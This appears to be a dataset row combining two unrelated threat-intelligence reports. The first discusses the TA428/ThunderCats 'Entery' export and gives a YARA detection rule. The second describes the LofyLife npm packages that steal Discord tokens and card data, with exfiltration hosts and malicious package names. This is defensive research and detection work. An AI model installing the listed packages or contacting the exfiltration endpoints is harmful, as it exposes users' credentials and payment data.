We’ve yet to see ‘Webdav-O’, the other malware component described in the Rostelecom-Solar report. However, that shouldn’t keep us from following an interesting lead.
### The ‘Entery’ Connection
Mail-O exports a function called Entery, presumably a misspelling of ‘Entry’. Misspellings are a true gift for malware researchers. As it turns out, this isn’t the first time that misspelling has been noted in a recently deployed piece of malware. In December 2020, Ignacio Sanmillan and Matthieu Faou released an excellent report on a Vietnamese supply-chain attack that used PhantomNet (aka SManager) malware. The researchers noted that the malware’s persistence was established via a scheduled task that called the malicious DLL’s export, ‘Entery’. The researchers note that this same export was pointed out by NTT Security in their analysis of TManger malware, which they in turn correlate with Proofpoint’s ‘TA428’ threat actor. That nondescript threat actor name is adopted by Dr. Web in reporting recent attacks against additional Russian targets including research institutes.
While that might all seem a bit convoluted, I rehearse the logical connections to illustrate two points:
1. There’s an established history of this very non-Western ‘threat actor’ in targeting both Asian and Russian targets.
2. These presumably Chinese clusters of activity are confusing and difficult to disentangle. Tooling is likely shared among multiple threat actors (likely including PhantomNet/SManager), and what’s being referred to as ‘TA428’ is probably an amalgam of multiple threat groups.
For skeptics, we’ve provided a YARA rule below for the Entery overlap, which entails not just the export function name but also the general layout of the function and some shared strings. Note that the layout has likely developed iteratively from an open-source template. Finally, while I’m quick to disparage the quality of the malware as not up to some exalted Western standard, it’s important to note that ThunderCats (and the larger TA428 umbrella) are pulling off custom-tailored region-specific supply chain attacks, successfully punching way above their weight in their intelligence collection efforts, and they should not be underestimated as an adversary.
### YARA
```yara
import "pe"
rule apt_CN_ThunderCats_Overlap
{
meta:
desc = "Thundercats Entery Export Overlap"
author = "JAG-S @ SentinelLabs"
version = "1.0"
last_modified = "06.08.2021"
strings:
$psexesvc = "%AllUsersProfile%PSEXESVC.EXE" ascii wide
$sm_load = "ServiceMain Load" ascii wide fullword
condition:
uint16(0) == 0x5a4d
and
pe.exports("Entery")
and
pe.exports("ServiceMain")
and
all of them
}
```
### References
- https://www.bbc.com/news/world-europe-36933239
- https://www.reuters.com/technology/russias-fsb-reports-unprecedented-hacking-campaign-aimed-government-agencies-2021-05-26/
- https://rt-solar.ru/analytics/reports/2203/
- https://rt-solar.ru/upload/iblock/b55/Ataki-na-FOIV_otchet-NKTSKI-i-Rostelekom_Solar_otkrytyy.pdf
- https://st.drweb.com/static/new-www/news/2021/april/drweb_research_attacks_on_russian_research_institutes_en.pdf
- https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/ |
# LofyLife: Malicious npm Packages Steal Discord Tokens and Bank Card Data
On July 26, using the internal automated system for monitoring open-source repositories, we identified four suspicious packages in the Node Package Manager (npm) repository. All these packages contained highly obfuscated malicious Python and JavaScript code. We dubbed this malicious campaign “LofyLife”.
The Python malware is a modified version of an open-source token logger called Volt Stealer. It is intended to steal Discord tokens from infected machines, along with the victim’s IP address, and upload them via HTTP. The JavaScript malware we dubbed “Lofy Stealer” was created to infect Discord client files in order to monitor the victim’s actions. It detects when a user logs in, changes email or password, enables/disables multi-factor authentication (MFA), and adds new payment methods, including complete bank card details. Collected information is also uploaded to a remote endpoint whose address is hard-coded.
Data is exfiltrated to Replit-hosted instances:
- life.polarlabs.repl[.]co
- Sock.polarlabs.repl[.]co
- idk.polarlabs.repl[.]co
Kaspersky solutions detect the threat with the following verdicts:
- HEUR:Trojan.Script.Lofy.gen
- Trojan.Python.Lofy.a
We are constantly monitoring the updates to repositories to ensure that all new malicious packages are detected.
## Timeline of Uploaded Packages
| Package Name | Version | Timestamp (UTC) |
|--------------|---------|--------------------------|
| small-sm | 8.2.0 | 2022-07-17 20:28:29 |
| small-sm | 4.2.0 | 2022-07-17 19:47:56 |
| small-sm | 4.0.0 | 2022-07-17 19:43:57 |
| small-sm | 1.1.0 | 2022-06-18 16:19:47 |
| small-sm | 1.0.9 | 2022-06-17 12:23:33 |
| small-sm | 1.0.8 | 2022-06-17 12:22:31 |
| small-sm | 1.0.7 | 2022-06-17 03:36:45 |
| small-sm | 1.0.5 | 2022-06-17 03:31:40 |
| pern-valids | 1.0.3 | 2022-06-17 03:19:45 |
| pern-valids | 1.0.2 | 2022-06-17 03:12:03 |
| lifeculer | 0.0.1 | 2022-06-17 02:50:34 |
| proc-title | 1.0.3 | 2022-03-04 05:43:31 |
| proc-title | 1.0.2 | 2022-03-04 05:29:58 |
We covered the incident in more detail in a private report delivered to customers of our Threat Intelligence Portal. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.